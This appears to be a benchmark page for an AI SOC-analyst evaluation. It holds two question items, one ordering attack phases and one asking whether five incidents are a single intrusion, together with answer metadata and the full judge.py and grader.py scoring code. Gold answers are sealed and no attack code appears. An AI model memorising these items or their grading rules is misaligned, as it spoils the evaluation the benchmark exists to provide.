network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Order these five attack phases as they occurred over time: [privilege-escalation, lateral-movement, recon-credaccess, web-exploit-reverse-shell, collection-exfiltration].
Investigate, then answer. Give the items in order, comma-separated.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-x-killchain-order",
"case": "cross-case",
"type": "ordering",
"difficulty": "hard",
"grading": "ordering",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-x-single-intrusioncross-case — boolean question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Do the five cases represent five independent incidents, or one single coordinated intrusion by the same actor? Answer true if it is ONE single intrusion.
Investigate, then answer. Answer yes or no.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-x-single-intrusion",
"case": "cross-case",
"type": "boolean",
"difficulty": "medium",
"grading": "boolean",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
scoring logic
judge.py runs once per case and prints a score per case. grader.py runs once at the end and folds case scores into a run-level summary. Without grader.py, the run's score is simply the average of case scores.
▸judge.py201 lines · view on GitHub
"""Per-case judge for secops-es-investigation (trapstreet contract).
One case = one objective question from TocharianOU's secops-es-benchmark. The
grading functions are a faithful port of upstream `benchmark/grade_questions.py`
(Apache-2.0) so a score here is comparable to upstream's Objective %:
exact_ci exact match after normalisation (+ declared `accept` variants)
mcq option letter
boolean yes/no
set_f1 F1 over the item set; ATT&CK technique sets use one-to-one
parent/sub-technique matching (T1548 covers at most one T1548.xxx)
ordering fraction of concordant pairs
Answer extraction mirrors upstream verbatim, `\\s*` before the colon included: the
last `FINAL ANSWER: ...` line, else the last non-empty line of stdout. A solution
that exited non-zero is graded only if it left an explicit marker.
Deliberate difference from upstream: the emitted metrics never contain the gold
answer. trapstreet uploads per-case metrics to the leaderboard, and printing the
key there would undo the seal it is shipped under. `expected_*` is a hash and a
verdict, nothing more.
Contract: reads $TRAPTASK_MANIFEST -> {run:{stdout,meta}, expected_dir},
emits one JSON object with `score` on stdout.
"""
from __future__ import annotations
import hashlib
import json
import os
import re
from pathlib import Path
import keys
FINAL_RE = re.compile(r"FINAL ANSWER\s*:\s*(.+)", re.I) # \s* before the colon: upstream verbatim
LIST_TYPES = ("set", "labeling", "ordering")
def norm(s) -> str:
s = str(s).strip()
s = s.replace("`", "").replace("*", "")
s = s.strip().strip('"').strip("'")
s = s.rstrip(".,;:!?")
return re.sub(r"\s+", " ", s.strip()).lower()
# ---- ATT&CK-aware set matching (upstream semantics) ------------------------
_TID = re.compile(r"t\d{4}(\.\d{3})?$")
def _is_attck(items) -> bool:
return bool(items) and all(_TID.match(norm(x)) for x in items)
def _tcompat(a: str, b: str) -> bool:
if a == b:
return True
return a.split(".")[0] == b.split(".")[0] and ("." not in a or "." not in b)
def _attck_tp(got, gold) -> int:
adj = [[j for j, gv in enumerate(got) if _tcompat(gv, g)] for g in gold]
match = [-1] * len(got)
def aug(i, seen):
for j in adj[i]:
if not seen[j]:
seen[j] = True
if match[j] == -1 or aug(match[j], seen):
match[j] = i
return True
return False
return sum(aug(i, [False] * len(got)) for i in range(len(gold)))
def _f1(prec: float, rec: float) -> float:
return 0.0 if (prec + rec) == 0 else 2 * prec * rec / (prec + rec)
# ---- graders: score in [0, 1] ---------------------------------------------
def g_exact(ans, key) -> float:
cands = {norm(x) for x in ([key["answer"]] + key.get("accept", []))}
return 1.0 if norm(ans) in cands else 0.0
def g_set(ans, key) -> float:
if not isinstance(ans, list):
ans = [a.strip() for a in str(ans).replace(";", ",").split(",") if a.strip()]
if _is_attck(key["answer"]):
gold = [norm(x) for x in key["answer"]]
got = list(dict.fromkeys(norm(x) for x in ans))
tp = _attck_tp(got, gold)
return _f1(tp / len(got) if got else 0.0, tp / len(gold) if gold else 1.0)
gold = {norm(x) for x in key["answer"]}
accept = {norm(x) for x in key.get("accept", key["answer"])}
got = {norm(x) for x in ans}
tp = len([x for x in got if x in accept])
prec = tp / len(got) if got else 0.0
rec = len([g for g in gold if g in got]) / len(gold) if gold else 1.0
return _f1(prec, rec)
def g_mcq(ans, key) -> float:
a, k = norm(ans), norm(key["answer"])
return 1.0 if (a[:1] == k or a == k) else 0.0
def g_bool(ans, key) -> float:
truthy = {"true", "yes", "y", "1", "malicious", "compromise"}
falsy = {"false", "no", "n", "0", "benign"}
a = norm(ans)
val = True if a in truthy else False if a in falsy else None
if val is None and isinstance(ans, bool):
val = ans
return 1.0 if val is key["answer"] else 0.0
def g_order(ans, key) -> float:
gold = [norm(x) for x in key["answer"]]
got = [norm(x) for x in (ans if isinstance(ans, list) else [])]
idx = {v: i for i, v in enumerate(gold)}
seq = [idx[v] for v in got if v in idx]
if len(seq) < 2:
return 1.0 if seq == list(range(len(gold))) else 0.0
pairs = conc = 0
for i in range(len(seq)):
for j in range(i + 1, len(seq)):
pairs += 1
conc += seq[i] < seq[j]
return conc / pairs if pairs else 0.0
GRADERS = {"exact_ci": g_exact, "set_f1": g_set, "mcq": g_mcq,
"boolean": g_bool, "ordering": g_order}
TYPE_DEFAULT = {"extraction": "exact_ci", "set": "set_f1", "labeling": "set_f1",
"mcq": "mcq", "boolean": "boolean", "ordering": "ordering"}
def parse_answer(stdout: str, qtype: str):
text = (stdout or "").strip()
matches = FINAL_RE.findall(text)
if matches:
raw = matches[-1].strip()
else:
lines = [ln for ln in text.splitlines() if ln.strip()]
raw = lines[-1].strip() if lines else ""
if qtype in LIST_TYPES:
return [x.strip() for x in raw.replace(";", ",").split(",") if x.strip()]
return raw
def key_fingerprint(key) -> str:
"""Stable 8-hex digest of the gold answer — lets you tell two runs apart
without ever publishing the answer itself."""
blob = json.dumps(key["answer"], sort_keys=True, ensure_ascii=False)
return hashlib.sha256(blob.encode()).hexdigest()[:8]
def score_case(meta: dict, stdout: str, exit_code: int = 0) -> dict:
key = keys.load_questions()[meta["id"]]
qtype = meta.get("type") or key["type"]
grading = meta.get("grading") or key.get("grading") or TYPE_DEFAULT[qtype]
answer = parse_answer(stdout, qtype)
base = {
"id": meta["id"],
"case": meta.get("case") or key.get("case"),
"type": qtype,
"difficulty": meta.get("difficulty") or key.get("difficulty"),
"grading": grading,
"agent_answer": answer,
"expected_fingerprint": key_fingerprint(key),
}
if exit_code != 0 and not FINAL_RE.search(stdout or ""):
# A dirty exit with no explicit marker is a failed run, not a wrong answer.
# The marker is required here: without it parse_answer falls back to the last
# non-empty line, which on a crash is a traceback frame — and that can score
# by accident.
return {"score": 0.0, "reason": f"solution exited {exit_code} with no FINAL ANSWER",
**base}
if not answer:
return {"score": 0.0, "reason": "empty answer", **base}
score = float(GRADERS[grading](answer, key))
return {"score": score,
"reason": f"{grading}: {'hit' if score == 1.0 else ('partial' if score else 'miss')}"
f" ({score:.2f})",
**base}
def main() -> None:
manifest = json.loads(os.environ["TRAPTASK_MANIFEST"])
stdout = Path(manifest["run"]["stdout"]).read_text()
exit_code = json.loads(Path(manifest["run"]["meta"]).read_text())["exit_code"]
meta = json.loads((Path(manifest["expected_dir"]) / "answer.json").read_text())
print(json.dumps(score_case(meta, stdout, exit_code), ensure_ascii=False))
if __name__ == "__main__":
main()
▸grader.py76 lines · view on GitHub
"""Run-level grader for secops-es-investigation (trapstreet contract).
Aggregates the 54 per-case judge results into the run verdict the leaderboard
reads: overall accuracy (= upstream's "Objective %"), plus the breakdowns that
make the number diagnosable — by ATT&CK case, by question type, by difficulty.
Pass threshold 0.60: upstream's published baselines run 51–88%, and the two
weakest models sit at ~51–54%, so 60% is "better than the floor", not a trophy.
The headline divides by every case, including ones the judge could not score, so a
run that mostly failed can never report a high number.
Reads the case list from $TRAPTASK_MANIFEST, emits one JSON object on stdout.
"""
from __future__ import annotations
import json
import os
from collections import Counter
PASS_THRESHOLD = 0.60
def _pct(scored, field):
got: Counter[str] = Counter()
tot: Counter[str] = Counter()
for c in scored:
k = c["metrics"].get(field)
if k:
tot[k] += 1
got[k] += c["metrics"]["score"]
return {k: round(got[k] / tot[k], 3) for k in sorted(tot)}
def main() -> None:
cases = json.loads(os.environ["TRAPTASK_MANIFEST"])
scored = [c for c in cases
if c.get("metrics") and c["metrics"].get("score") is not None]
skipped = [c for c in cases if c not in scored]
# Denominator is EVERY case, not just the judged ones — upstream's pct() does the
# same (a question the runner never answered is a 0, not a hole). Dividing by
# len(scored) would let a run where 53 judges crashed report 100%.
accuracy = (sum(c["metrics"]["score"] for c in scored) / len(cases)) if cases else 0.0
durations = [c.get("duration") or 0.0 for c in cases]
ds = sorted(d for d in durations if d)
median = round(ds[len(ds) // 2] * 1000, 1) if ds else 0.0
# ceil-index p95: with 54 samples this is the 52nd, not the 51st
p95 = round(ds[min(len(ds) - 1, -(-95 * len(ds) // 100) - 1)] * 1000, 1) if ds else 0.0
print(json.dumps({
"passed": bool(scored) and accuracy >= PASS_THRESHOLD,
"score": round(accuracy, 4),
"n_full_credit": sum(1 for c in scored if c["metrics"]["score"] == 1.0),
"n_total": len(cases),
"n_scored": len(scored),
"n_unscored": len(skipped),
"threshold": PASS_THRESHOLD,
# Breakdowns can only cover cases the judge actually scored — an unjudged
# case has no case/type/difficulty to attribute. n_unscored above says how
# many are missing, so a partial breakdown is never mistaken for a full one.
"breakdowns_over": "scored cases only",
"by_case": _pct(scored, "case"),
"by_type": _pct(scored, "type"),
"by_difficulty": _pct(scored, "difficulty"),
"latency_ms_median": median,
"latency_ms_p95": p95,
"latency_ms_total": round(sum(durations) * 1000, 1),
"cost_usd_total": None,
}))
if __name__ == "__main__":
main()